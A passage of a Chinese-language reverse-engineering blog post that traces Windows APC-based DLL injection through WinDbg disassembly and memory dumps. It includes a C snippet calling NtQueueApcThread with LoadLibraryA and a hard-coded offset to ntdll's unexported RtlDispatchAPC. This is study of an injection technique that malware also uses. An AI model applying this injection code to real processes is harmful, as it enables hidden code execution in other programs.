<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">fc</span><span class="w"> </span><span class="mi">4883</span><span class="nv">ec28</span><span class="w"> </span><span class="nv">sub</span><span class="w"> </span><span class="nv">rsp</span>,<span class="mi">28</span><span class="nv">h</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">98892900</span><span class="w"> </span><span class="nv">ff156aac1100</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">989</span><span class="nv">ad570</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">98892906</span><span class="w"> </span><span class="mi">3</span><span class="nv">d0d0000c0</span><span class="w"> </span><span class="nv">cmp</span><span class="w"> </span><span class="nv">eax</span>,<span class="mi">0</span><span class="nv">C000000Dh</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">9889290</span><span class="nv">b</span><span class="w"> </span><span class="mi">0</span><span class="nv">f84545c0400</span><span class="w"> </span><span class="nv">je</span><span class="w"> </span><span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988</span><span class="nv">d8565</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">98892911</span><span class="w"> </span><span class="mi">3</span><span class="nv">d590000c0</span><span class="w"> </span><span class="nv">cmp</span><span class="w"> </span><span class="nv">eax</span>,<span class="mi">0</span><span class="nv">C0000059h</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">98892916</span><span class="w"> </span><span class="mi">740</span><span class="nv">a</span><span class="w"> </span><span class="nv">je</span><span class="w"> </span><span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">98892922</span>
</code></pre></div>
<p>使用IDA查看<code>kernel32.dll</code>中的<code>LoadLibraryA</code>函数的汇编代码</p>
<p><img alt="image-20220817163544040" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IVhsJhuuJG.jpg"></p>
<div class="highlight"><pre><span></span><code>kd> db /c 1 000007fb`988b1620 L10
000007fb`988b1620 74 t
000007fb`988b1621 77 w
000007fb`988b1622 61 a
000007fb`988b1623 69 i
000007fb`988b1624 6e n
000007fb`988b1625 5f _
000007fb`988b1626 33 3
000007fb`988b1627 32 2
000007fb`988b1628 2e .
000007fb`988b1629 64 d
000007fb`988b162a 6c l
000007fb`988b162b 6c l
000007fb`988b162c 00 .
000007fb`988b162d 90 .
000007fb`988b162e 90 .
000007fb`988b162f 90 .
</code></pre></div>
<p>可以确定<code>0x000007fb988928ac</code>就是<code>LoadLibraryA</code>函数,插入成功</p>
<p>后面的<code>SystemArguments1</code>字段是QueueUserAPC的第三个参数,即传给LoadLibraryA函数的参数</p>
<div class="highlight"><pre><span></span><code>kd> db /c 1 0x00000013`39f00000 L20
00000013`39f00000 43 C
00000013`39f00001 3a :
00000013`39f00002 5c \
00000013`39f00003 50 P
00000013`39f00004 72 r
00000013`39f00005 6f o
00000013`39f00006 67 g
00000013`39f00007 72 r
00000013`39f00008 61 a
00000013`39f00009 6d m
00000013`39f0000a 20
00000013`39f0000b 46 F
00000013`39f0000c 69 i
00000013`39f0000d 6c l
00000013`39f0000e 65 e
00000013`39f0000f 73 s
00000013`39f00010 5c \
00000013`39f00011 37 7
00000013`39f00012 2d -
00000013`39f00013 5a Z
00000013`39f00014 69 i
00000013`39f00015 70 p
00000013`39f00016 5c \
00000013`39f00017 37 7
00000013`39f00018 7a z
00000013`39f00019 2e .
00000013`39f0001a 64 d
00000013`39f0001b 6c l
00000013`39f0001c 6c l
00000013`39f0001d 00 .
00000013`39f0001e 00 .
00000013`39f0001f 00 .
</code></pre></div>
<p>没毛病</p>
<h5><a href="https://github.com/wqreytuk/APC/blob/main/ApcDllInjector/ApcDllInjector.c#L134">NtQueueApcThread</a></h5>
<p>这个函数会被上面的QueueUserAPC函数调用,调用栈如下:</p>
<div class="highlight"><pre><span></span><code><span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">f7</span><span class="err">`</span><span class="n">b2131378</span><span class="w"> </span><span class="n">ff159a1c0100</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">ApcDllInjector</span><span class="o">!</span><span class="n">_imp_QueueUserAPC</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">f7</span><span class="err">`</span><span class="n">b2143018</span><span class="o">)]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">f9</span><span class="err">`</span><span class="mi">4</span><span class="n">bd63650</span><span class="w"> </span><span class="mi">48</span><span class="n">ff2599a91100</span><span class="w"> </span><span class="n">jmp</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">KERNEL32</span><span class="o">!</span><span class="n">_imp_QueueUserAPC</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">f9</span><span class="err">`</span><span class="mi">4</span><span class="n">be7dff0</span><span class="o">)]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">f9</span><span class="err">`</span><span class="mi">497</span><span class="n">ffa88</span><span class="w"> </span><span class="n">ff1522950b00</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">_imp_NtQueueApcThread</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">f9</span><span class="err">`</span><span class="mi">498</span><span class="n">b8fb0</span><span class="o">)]</span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">NtQueueApcThread</span><span class="o">:</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">f9</span><span class="err">`</span><span class="mi">4</span><span class="n">c572ff0</span><span class="w"> </span><span class="mi">4</span><span class="n">c8bd1</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r10</span><span class="o">,</span><span class="n">rcx</span>
</code></pre></div>
<p>注意上面的call和jmp指令后面的是取地址,当时看的时候人傻了,以为是直接跳到这个地址上,<a href="https://citrusice.github.io/">闹笑话了</a></p>
<p><img alt="image-20220818160405056" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CBpkCtRiZU.jpg"></p>
<p>这是一个没有文档的函数,俗称<code>Native API</code></p>
<p><a href="https://github.com/repnz/apc-research/blob/master/ApcDllInjector/ApcDllInjector.c#L87">网上的代码</a>好像是有点问题,这个函数<code>ntdll!NtQueueApcThread</code>的参数具体要怎么传,需要跟一下QueueUserAPC函数</p>
<p>下面的代码是<code>KERNELBASE!QueueUserAPC</code>函数的汇编代码</p>
<div class="highlight"><pre><span></span><code><span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa04</span><span class="w"> </span><span class="mi">4</span><span class="n">c8bdc</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r11</span><span class="o">,</span><span class="n">rsp</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa07</span><span class="w"> </span><span class="mi">49895</span><span class="n">b08</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">+</span><span class="mi">8</span><span class="o">],</span><span class="n">rbx</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa0b</span><span class="w"> </span><span class="mi">49896</span><span class="n">b10</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">+</span><span class="mi">10</span><span class="n">h</span><span class="o">],</span><span class="n">rbp</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa0f</span><span class="w"> </span><span class="mi">49897318</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">+</span><span class="mi">18</span><span class="n">h</span><span class="o">],</span><span class="n">rsi</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa13</span><span class="w"> </span><span class="mi">57</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">rdi</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa14</span><span class="w"> </span><span class="mi">4883</span><span class="n">ec50</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">rsp</span><span class="o">,</span><span class="mi">50</span><span class="n">h</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa18</span><span class="w"> </span><span class="mi">498363</span><span class="n">e800</span><span class="w"> </span><span class="n">and</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">-</span><span class="mi">18</span><span class="n">h</span><span class="o">],</span><span class="mi">0</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa1d</span><span class="w"> </span><span class="mi">33</span><span class="n">c0</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">eax</span><span class="o">,</span><span class="n">eax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa1f</span><span class="w"> </span><span class="mi">41</span><span class="n">b901000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r9d</span><span class="o">,</span><span class="mi">1</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa25</span><span class="w"> </span><span class="mi">492143</span><span class="n">d8</span><span class="w"> </span><span class="n">and</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">-</span><span class="mi">28</span><span class="n">h</span><span class="o">],</span><span class="n">rax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa29</span><span class="w"> </span><span class="mi">498943</span><span class="n">f0</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">-</span><span class="mi">10</span><span class="n">h</span><span class="o">],</span><span class="n">rax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa2d</span><span class="w"> </span><span class="mi">498</span><span class="n">d43e8</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">rax</span><span class="o">,[</span><span class="n">r11</span><span class="o">-</span><span class="mi">18</span><span class="n">h</span><span class="o">]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa31</span><span class="w"> </span><span class="mi">498</span><span class="n">bf8</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rdi</span><span class="o">,</span><span class="n">r8</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa34</span><span class="w"> </span><span class="mi">488</span><span class="n">bf2</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rsi</span><span class="o">,</span><span class="n">rdx</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa37</span><span class="w"> </span><span class="mi">488</span><span class="n">be9</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbp</span><span class="o">,</span><span class="n">rcx</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa3a</span><span class="w"> </span><span class="mi">49</span><span class="n">c743d010000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">-</span><span class="mi">30</span><span class="n">h</span><span class="o">],</span><span class="mi">10</span><span class="n">h</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa42</span><span class="w"> </span><span class="mi">4533</span><span class="n">c0</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">r8d</span><span class="o">,</span><span class="n">r8d</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa45</span><span class="w"> </span><span class="mi">33</span><span class="n">d2</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">edx</span><span class="o">,</span><span class="n">edx</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa47</span><span class="w"> </span><span class="mi">418</span><span class="n">bc9</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ecx</span><span class="o">,</span><span class="n">r9d</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa4a</span><span class="w"> </span><span class="mi">498943</span><span class="n">c8</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r11</span><span class="o">-</span><span class="mi">38</span><span class="n">h</span><span class="o">],</span><span class="n">rax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa4e</span><span class="w"> </span><span class="n">ff15d48a0b00</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">_imp_RtlQueryInformationActivationContext</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">c28528</span><span class="o">)]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa54</span><span class="w"> </span><span class="mi">8</span><span class="n">bd8</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ebx</span><span class="o">,</span><span class="n">eax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa56</span><span class="w"> </span><span class="mi">85</span><span class="n">c0</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="o">,</span><span class="n">eax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa58</span><span class="w"> </span><span class="mi">0</span><span class="n">f88ae0c0900</span><span class="w"> </span><span class="n">js</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">QueueUserAPC</span><span class="o">+</span><span class="mh">0x90d08</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">c0070c</span><span class="o">)</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa5e</span><span class="w"> </span><span class="mi">488</span><span class="n">b442440</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="o">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">40</span><span class="n">h</span><span class="o">]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa63</span><span class="w"> </span><span class="n">f644244801</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">48</span><span class="n">h</span><span class="o">],</span><span class="mi">1</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa68</span><span class="w"> </span><span class="mi">488</span><span class="n">b1549950b00</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rdx</span><span class="o">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">_imp_RtlDispatchAPC</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">c28fb8</span><span class="o">)]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa6f</span><span class="w"> </span><span class="mi">48</span><span class="n">c7c1ffffffff</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="o">,</span><span class="mi">0</span><span class="n">FFFFFFFFFFFFFFFFh</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa76</span><span class="w"> </span><span class="mi">4</span><span class="n">c8bcf</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r9</span><span class="o">,</span><span class="n">rdi</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa79</span><span class="w"> </span><span class="mi">4</span><span class="n">c8bc5</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r8</span><span class="o">,</span><span class="n">rbp</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa7c</span><span class="w"> </span><span class="mi">480</span><span class="n">f45c1</span><span class="w"> </span><span class="n">cmovne</span><span class="w"> </span><span class="n">rax</span><span class="o">,</span><span class="n">rcx</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa80</span><span class="w"> </span><span class="mi">488</span><span class="n">bce</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="o">,</span><span class="n">rsi</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa83</span><span class="w"> </span><span class="mi">4889442420</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="n">h</span><span class="o">],</span><span class="n">rax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa88</span><span class="w"> </span><span class="n">ff1522950b00</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">_imp_NtQueueApcThread</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">c28fb0</span><span class="o">)]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa8e</span><span class="w"> </span><span class="mi">85</span><span class="n">c0</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="o">,</span><span class="n">eax</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa90</span><span class="w"> </span><span class="mi">0</span><span class="n">f88e4e10200</span><span class="w"> </span><span class="n">js</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">QueueUserAPC</span><span class="o">+</span><span class="mh">0xa8</span><span class="w"> </span><span class="o">(</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b9dc7a</span><span class="o">)</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa96</span><span class="w"> </span><span class="n">b801000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="o">,</span><span class="mi">1</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6fa9b</span><span class="w"> </span><span class="mi">488</span><span class="n">b5c2460</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbx</span><span class="o">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">60</span><span class="n">h</span><span class="o">]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6faa0</span><span class="w"> </span><span class="mi">488</span><span class="n">b6c2468</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbp</span><span class="o">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">68</span><span class="n">h</span><span class="o">]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6faa5</span><span class="w"> </span><span class="mi">488</span><span class="n">b742470</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rsi</span><span class="o">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">70</span><span class="n">h</span><span class="o">]</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6faaa</span><span class="w"> </span><span class="mi">4883</span><span class="n">c450</span><span class="w"> </span><span class="n">add</span><span class="w"> </span><span class="n">rsp</span><span class="o">,</span><span class="mi">50</span><span class="n">h</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6faae</span><span class="w"> </span><span class="mi">5</span><span class="n">f</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span>
<span class="mi">0033</span><span class="o">:</span><span class="mi">000007</span><span class="n">fc</span><span class="err">`</span><span class="mi">52</span><span class="n">b6faaf</span><span class="w"> </span><span class="n">c3</span><span class="w"> </span><span class="n">ret</span>
</code></pre></div>
<p>而这个函数其实就是<code>ntdll!NtQueueApcThread</code>,通过查看<code>KERNELBASE!_imp_NtQueueApcThread</code>地址<code>KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)</code>中的内容可以看到</p>
<div class="highlight"><pre><span></span><code>kd> dq /c 1 000007fc`52c28fb0 L1
000007fc`52c28fb0 000007fc`557d2ff0
kd> u 000007fc`557d2ff0
ntdll!NtQueueApcThread:
000007fc`557d2ff0 4c8bd1 mov r10,rcx
000007fc`557d2ff3 b843000000 mov eax,43h
000007fc`557d2ff8 0f05 syscall
000007fc`557d2ffa c3 ret
000007fc`557d2ffb 0f1f440000 nop dword ptr [rax+rax]
ntdll!NtYieldExecution:
000007fc`557d3000 4c8bd1 mov r10,rcx
000007fc`557d3003 b844000000 mov eax,44h
000007fc`557d3008 0f05 syscall
</code></pre></div>
<p>因此QueueUserAPC函数就是对<code>ntdll!NtQueueApcThread</code>的封装</p>
<p>观察指令<code>call qword ptr [KERNELBASE!_imp_NtQueueApcThread (000007fc52c28fb0)]</code>之前的汇编代码,可以发现RCX、RDX、R8、R9都用于给<code>NtQueueApcThread</code>传输参数了</p>
<p>另外通过下面的方式测试出<code>[rsp+20h]</code>用于传输第五个参数</p>
<p><img alt="image-20220825170357008" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YQOJlMeXEH.jpg"></p>
<p><img alt="image-20220825170337179" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MUdSOTTTDE.jpg"></p>
<p><img alt="image-20220825170250535" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BZdiSzheWg.jpg"></p>
<p>上面传输的5个参数中</p>
<ul>
<li>rcx为QueueUserAPC函数的第二个参数ThreadHandle</li>
<li>rdx为<code>KERNELBASE!_imp_RtlDispatchAPC</code>地址中的内容,其实就是<code>ntdll!RtlDispatchAPC</code>函数的地址</li>
<li>r8为QueueUserAPC函数的第一个参数PAPCFUNC函数地址</li>
<li>r9为QueueUserAPC函数的第三个参数,即传递给PAPCFUNC函数的参数</li>
<li><code>[rsp+20h]</code>通过栈传递的参数,即rax,是一个指针,下面经过分析之后,发现该指针也是传递给PAPCFUNC函数的参数</li>
</ul>
<p>在后续的测试过程中,我发现我无法直接使用<code>GetProcAddress</code>从ntdll.dll中获取到<code>RtlDispatchAPC</code>函数的地址,而且使用PE-bear查看<code>ntdll.dll</code>发现其并没有导出<code>RtlDispatchAPC</code>函数</p>
<p>经过我的反复测试,在我的测试机上,该函数相对于ntdll.dll基地址的偏移量为<code>0x65E04</code></p>
<p>dll的基地址很容易得到,直接把handle强转为指针即可</p>
<p><img alt="image-20220826142907736" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HCBHAkkuVG.jpg"></p>
<p><img alt="image-20220826143012019" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LiNsEWNbZH.jpg"></p>
<p>测试机版本:</p>
<p><img alt="image-20220826142805362" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/UBixfkYaYp.jpg"></p>
<p>关键代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">addr_RtlDispatchAPC</span><span class="p">;</span>
<span class="c1">// 获取ntdll!RtlDispatchAPC函数的地址,用于作为NtQueueApcThread的第二个参数</span>
<span class="c1">// 由于该函数并非导出函数,因此不能直接使用GetProcAddress,只能通过偏移量进行计算</span>
<span class="c1">// 这个偏移量只针对win8 6.2 9200 x64版本</span>
<span class="n">addr_RtlDispatchAPC</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">NtdllHandle</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x65E04</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"this is the address of ntdll!RtlDispatchAPC: </span><span class="se">\t</span><span class="s">%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">addr_RtlDispatchAPC</span><span class="p">);</span>
<span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NtQueueApcThread</span><span class="p">(</span>
<span class="w"> </span><span class="n">ThreadHandle</span><span class="p">,</span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">addr_RtlDispatchAPC</span><span class="p">,</span>
<span class="w"> </span><span class="p">(</span><span class="n">PPS_APC_ROUTINE</span><span class="p">)</span><span class="n">LoadLibraryAPtr</span><span class="p">,</span>
<span class="w"> </span><span class="n">RemoteLibraryAddress</span><span class="p">,</span>
<span class="w"> </span><span class="n">stack_param_tester</span><span class="p">);</span>
</code></pre></div>
<p>检测APC插入是否成功的方式和<a href="http://144.34.164.217/practical-reverse-engineering-notes-part-ii.html#makabakayezhendehenxihuanwo">上面</a>一样,结果显示,APC插入成功,并且成功传递了<strong>两个参数</strong></p>
<p><img alt="image-20220826163120627" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/uWNRaJsbPp.jpg"></p>Practical Reverse Engineering notes -- Part I2022-07-29T00:00:00+02:002022-07-29T00:00:00+02:0012138tag:None,2022-07-29:practical-reverse-engineering-notes-part-i.html<p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/tree/main/Part%20I">Part I</a></p>
